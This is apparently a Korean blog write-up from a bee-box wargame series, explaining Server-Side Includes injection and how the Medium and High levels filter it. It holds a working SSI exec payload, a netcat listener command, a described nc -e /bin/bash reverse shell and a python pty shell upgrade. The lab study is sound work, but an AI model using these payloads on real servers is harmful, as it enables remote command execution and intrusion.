Wargame/BeeBox

Beebox[Server-Side Includes (SSI) Injection]

D4tai1 2021. 3. 30.

 Server Side Includes(SSI) : 페이지를 서비스할 때 서버가 동적으로 처리하며 내용을 추가

 페이지 대부분이 정적인데 한 부분만 동적인경우 해당 부분만 동적으로 처리

▶ 예를 들면 블로그 조회수, 현재날짜/시간 등

▶ SSI 지시어는 <!--#element attribute=value ...--> 과 같이 사용

사용예시)

Today is <!--#echo var="DATE_LOCAL" --> 

 - echo요소는 출력해주는 것이기 때문에 "Today Is Monday, 29-Mar-2021 21:02:39 CEST" 와 같이 출력이 됨!


 1. LOW 

(1) 입력

[그림1] 입력

 

[그림2] 결과

 제 IP를 출력해주네요!!

주소창을 자세히보니 ssid.shtml 파일에 접근했네요!

 

.shtml파일은 사용자에게 보내지기 전에 서버에서 약간의 정보를 추가하는 파일을 말해요!

 


(2) 소스코드 확인

[그림3] 소스코드확인

ssii.php파일을 확인해보니 ssid.shtml에 내용을 작성하는 것으로 보이네요!


(2) 공격

[그림4] Server-Side Includes Injection

 <!--#exec cmd="ls"-->

입력해보면?!

 

[그림5] 공격결과

ls명령어가 실행된 결과를 확인할 수 있어요

 

[그림6] ssii.shtml 확인

 입력한 내용이 들어가있네요!

하하

 

기왕이면 shell을 사용하기위해 

이전에 배운 OS Command Injection에서 썼던

nc를 실행시켜보겠습니다.

 

nc -l -v -p 7942

▶ 내 PC에서 위와 같이 입력해주세요

 넷캣의 -l은 리스닝모드이고, -v는 verbose로 상세설명도 나오고, -p 다음에는 오픈할 포트를 적어주세요

 

[그림7] 포트열고 대기

  

[그림8] nc로 공격 시도

 -e /bin/bash 옵션은 shell을 이용해서 상호작용할 수 있도록 하기위해서지요

-e는 exec의 약자로 뒤에 넣은 것을 실행합니다!!

 

 

[그림9] 명령어 실행

서버에서 내 PC로 연결을 한 후 내 PC에서 명령어를 실행한 결과에요

python -c 'import pty; pty.spawn("/bin/bash")'

위와 같이 입력하면 

pty라이브러리에서 제공해주는 

interactive한? 상호작용이 가능한? 터미널을 제공해줍니다

vi에디터도 사용이 가능하구요

 

명령어가 정상적으로 실행되고 결과도 얻을 수 있네요!!

 

 

 

2. Medium & High 

(1) 소스코드 확인

Low와 동일하게 입력해보았지만 실행이 되지 않네요

 

[그림10] 소스코드 확인

Medium은 xss_check4함수를,

High는 xss_check3함수를

호출하네요

 

[그림11] 함수확인

 

addslashes함수는

특수문자 등에 "\"(역슬래시)를 붙여주는 함수입니다.

 

htmlspecialchars함수는

", ', &, <, >을 UTF-8로 변환해요.

 

'Wargame > BeeBox' 카테고리의 다른 글

Beebox[SQL Injection (GET/Search)]  (0) 2021.03.30
Beebox[PHP Code Injection]  (0) 2021.03.30
Beebox[OS Command Injection - Blind]  (0) 2021.03.30
Beebox[OS Command Injection]  (0) 2021.03.29
Beebox[iFrame Injection]  (0) 2021.03.29

댓글